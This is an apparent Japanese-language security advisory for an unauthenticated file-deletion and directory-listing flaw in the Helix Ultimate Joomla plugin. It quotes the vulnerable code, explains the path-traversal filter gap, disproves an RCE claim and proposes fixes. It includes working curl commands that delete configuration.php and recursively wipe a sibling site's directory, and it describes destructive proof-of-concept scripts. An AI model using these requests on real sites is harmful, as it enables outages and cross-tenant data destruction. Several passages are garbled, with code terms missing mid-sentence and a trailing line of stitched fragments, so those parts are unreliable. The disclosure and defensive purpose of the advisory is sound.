
Joomla Helix Ultimate (JoomShaper) <= 2.2.6 における未認証の任意のファイル/フォルダ削除 — CVE-2026-57830
これは確認済みのDoS + クロステナントのファイルシステムアクセス脆弱性であり、RCEではありません。 RCEへ昇格するという仮説(configuration.php を削除して Joomla インストーラを再露出させる)は実際にテストされ、否定されました。以下の「RCE への昇格 — テスト済み・反証済み」を参照してください。実際のチェーンを再導出しない限り、いかなるレポートでもこれをRCEとして表現しないでください。
深刻度の引き上げ(2026-07-06、2回目の検証): path パラメータは最初の評価で考えられたように Joomla の Web ルート内に安全に閉じ込められてはいません。Joomla の PATH 入力フィルタは単一の /../ トラバーサルコンポーネントをブロックしないため、このバグは(読み取り:完全なディレクトリ一覧、書き込み:ファイル削除またはフォルダ内容の再帰的消去)Joomla インストール内のファイルだけでなく、Web サーバーユーザーがアクセスできるファイルシステム上のあらゆるものに到達します。複数のサイト/テナントが同じ OS ユーザーの下で兄弟ディレクトリとして存在する共有ホスティング構成(非常に一般的:cPanel の「アドオンドメイン」、システムユーザーを共有する Plesk サブスクリプション、ほとんどの低価格ホスティング)では、Helix Ultimate を搭載した単一のサイトにより、匿名の訪問者が同じアカウント上の他のすべてのサイトを破壊できます。ライブでの証明は、下記の「パストラバーサルは JPATH_ROOT を完全にエスケープする」を参照してください。
コンポーネント: JoomShaper Helix Ultimate Framework(plg_system_helixultimate)。事実上すべての JoomShaper 製 Joomla テンプレート(Helix Ultimate ベース)に同梱されています。
テスト済みバージョン: 2.2.6(GitHub JoomShaper/helix-ultimate、2026-07 時点の HEAD、最終プッシュ 2026-06-30)
著者: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php は、helixultimate.php::onAfterRoute() 内の Joomla com_ajax ディスパッチフックを介して deleteMedia()、getFolders()、createFolder() を公開しています。これら3つのメソッドは Session::checkToken()(単純な CSRF チェックであり、匿名訪問者自身のセッショントークンで満たせます。トークンはサイトのホームページ HTML から取得可能)のみを呼び出し、authorise() / ログインチェックは一切ありません。これは、同じクラスの姉妹メソッドである uploadMedia() が com_templates に対する core.edit を正しく要求するのと不整合です。
これはシステムプラグインであるため、onAfterRoute() は現在アクティブなテンプレートに関係なくすべてのリクエストで実行されます。プラグインがインストールされ有効である限り(Helix Ultimate ベースの JoomShaper テンプレートを使用するサイトではデフォルトで有効)、脆弱なコードパスに到達できます。
plugins/system/helixultimate/helixultimate.php(〜464-489行):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path は Joomla の PATH 入力フィルタ(InputFilter::cleanPath())を通過します。この危険性をもたらす要因は独立して2つあります。
path は JPATH_ROOT 直下で解決されるため、ルート起点の絶対パス(/configuration.php、/administrator/...、/media/...)はすべて最初から到達可能です。cleanPath() の正規表現(^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$)は、先頭の [A-Za-z0-9_\/-]+ チャンクの直後に配置されたドット/ハイフン/英数字の1連続のみを許可します。そして先頭の / だけでもその先頭チャンクを満たすため、/../sibling_dir のような文字列は問題なくマッチします:/(チャンク1)、..(許可されたドット連続)、/sibling_dir(通常の後続セグメント)。このフィルタは、新しい コンポーネントをドットで始まるセグメントとして開始するものを拒否するように書かれましたが、文字列の最初の文字の直後に単一の が置かれることは想定していませんでした。 を連鎖させることはできません(最初のドット連続の後の各 セグメントは非ドット文字で始まる必要があります)。したがって、エスケープは のちょうどレベル上までに制限されますが、そのレベルより下(任意の深さ)には通常どおり到達できます。それ以降のセグメントは通常の非ドットパスコンポーネントにすぎないからです。configuration.php を削除可能 → 即座の全サイト停止(「No configuration」の致命的エラー)、1回のHTTPリクエスト、ゼロ認証。type=folder)→ 例:/administrator、/components、/media → はるかに破壊的で、実質的にインストールを破壊します。view-media(Media::getFolders())経由で、ルート相対パス配下のすべての画像ファイル、すべてのサブフォルダ名、絶対的なサーバーパスを一覧表示します。認証は不要です(下記で安全な検知シグナルとして使用)。使い捨ての Docker インスタンス(Joomla 5.4.6 + Helix Ultimate プラグイン 2.2.6、新規インストール、完全に匿名のブラウザセッション — ログインなし、Joomla がすべての訪問者に配布するCookie以外のCookieなし)に対してテストしました:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Joomla Webルートの兄弟ディレクトリ(/var/www/html の兄弟 /var/www/canary_sibling)を、Webサーバーと同じユーザー(www-data)が所有する形で作成し、実際の共有ホスティング構成を模倣しました。ファイル、画像、サブディレクトリを配置しています:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
Joomlaインストールの完全に外側にあるディレクトリの読み取り/列挙が、解決済みの絶対サーバーパスも含めて、認証ゼロで可能です。
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
結果:canary_sibling 内のすべてのファイル(通常ファイル、画像、サブディレクトリ)が削除されました。残ったのは空になった最上位の canary_sibling フォルダのみで、それもこのラボでは /var/www 直下にあり、root が所有していたためです。空のディレクトリエントリを削除するにはその親に対する書き込み権限が必要であり、www-data は /var/www に対してそれを持っていません。実際の共有ホスティング構成(たとえば /home/user/domains/siteA.com/public_html と /home/user/domains/siteB.com/public_html が真の兄弟であり、両方が同じアカウントユーザーによって完全に所有されている)では、この最後の障壁は存在せず、兄弟サイトのディレクトリツリー全体が削除可能になります。
当然の次の仮説は、セットアップ後に installation/ が削除されていないサイトで、configuration.php を削除するとインストーラウィザードに再度到達でき、攻撃者がそれを完了させて新しいスーパーユーザーを作成できる、というものでした。これはラボで直接テストされ、成立しませんでした。
installation/ フォルダを Webルートにコピーして戻しました(削除し忘れたサイトを模擬)。この時点で configuration.php はまだ存在し有効でした。302 Found -> /installation/index.php を発行し始めました。それには、このエクスプロイト自身の option=com_ajax&helix=ultimate&...&action=delete-media への POST も含まれます。この状態では脆弱なコードパスは決して実行されません — Joomla コアがすべてを最初に短絡させます。installation/ が存在する場合:サイトはこの脆弱性とは完全に無関係に、任意の訪問者による乗っ取りに対してすでに完全に開放されています。これは既存の無関係な Joomla の設定ミスであり、このバグが引き起こすものではなく、またこのバグを必要とするものでもありません。installation/ が存在しない場合(通常の安全な状態):この脆弱性はファイルを削除できるだけで、installation/ フォルダを作成して戻すことはできません — 削除のみのプリミティブからインストーラを再公開する方法はありません。結論:どの状態の組み合わせでもこれは RCE になりません。 確認された正直な影響の上限は、認証なし・無条件・保証された全サイト DoS(および前述の認証なし情報漏えい)です。これはそれ自体で重大(Critical)な見地であり、誇張された RCE の主張は不要です。
createFolder() は認証なしでは到達不可(以前のドラフトは誤り)この文書の以前のバージョンでは、Media::createFolder() も(削除/読み取りに加えた3つ目のプリミティブとして)認証なしで到達可能であると主張していました。これは誤りであり、プラグインのディスパッチ配線を全面的に確認した後に訂正されました。
createFolder() と、コードベース内の実際のファイル内容書き込みシンク(Request.php:テンプレートスタイル/ウェブフォント/CSSキャッシュファイル用の fwrite()、File::write())はすべて plugins/system/helixultimate/src/Platform/Request.php に存在し、Platform::handleRequests() <- onAfterRespond() を介してのみディスパッチされます。onAfterRespond() は明示的に $this->app->isClient('administrator') を要求し、onAfterRoute() はその前に、ログインしていない訪問者を別途リダイレクトします。このパスは本当に管理者認証が必要です。これはメソッド内の authorise() 呼び出しの欠如を見るだけでなく、正確なゲート条件を読んで確認されました(サイト側の deleteMedia()/getFolders() は実際にゲートがゼロであるのとは対照的です)。onAfterRoute() 内のフロントエンド()スイッチは5つのアクションのみを配線します:、、()、()、(。これは / をチェックします)。 はその中にありません。確認された認証なしの能力セット(最終):削除(ファイルまたはフォルダ再帰)+読み取り(フォルダ/画像一覧)のみ。このプラグインのどこにも認証なしのコンテンツ書き込みプリミティブは存在しません。 これこそが、特に探したにもかかわらず RCE チェーンが見つからなかった理由です — RCE は根本的に書き込みプリミティブを必要とし、このバグクラスにはそれがありません。
helix_ultimate_detect.py非破壊的。証明シグナルとして action=view-media(フォルダ/ファイル一覧)を使用します — 何も削除しません。
helix_ultimate_delete_poc.py(名称は継続性のため維持;DoSのみを確認)破壊的。何かに触れるには明示的な --delete <path> が必要です。--rce フラグは、configuration.php を削除し、/installation/ をプローブして、そのフォルダがすでに存在するかどうかを確認するだけです(存在する場合、そのサイトはこのバグとは無関係にすでに独立して無防備だったことになります)。これはこの脆弱性によって引き起こされる実際の昇格を表すものではありません。前述の「RCE への昇格 — テスト済み・反証済み」を参照してください。書面による許可がある場合にのみ使用してください。
独立した2つの修正が必要です。どちらか一方だけでも、すでにこれを止めることができます:
src/Platform/Media.php 内の deleteMedia() と getFolders() に、uploadMedia() がすでに持っているものと同じ認可チェックを追加します — Blog::remove_image() のパターンに合わせて、少なくとも com_templates(または com_media)に対する core.edit/core.delete を、ファイルシステム操作の前に行います。Amin İsayev / Proxima Cyber Security — 2026. 教育目的 / 許可を得たテストのみに使用してください。
/…..../../../…JPATH_ROOTisClient('site')upload-blog-imageremove-blog-imageview-mediaMedia::getFoldersdelete-mediaMedia::deleteMediaupload-mediaMedia::uploadMediacore.editcom_templatescreate-folder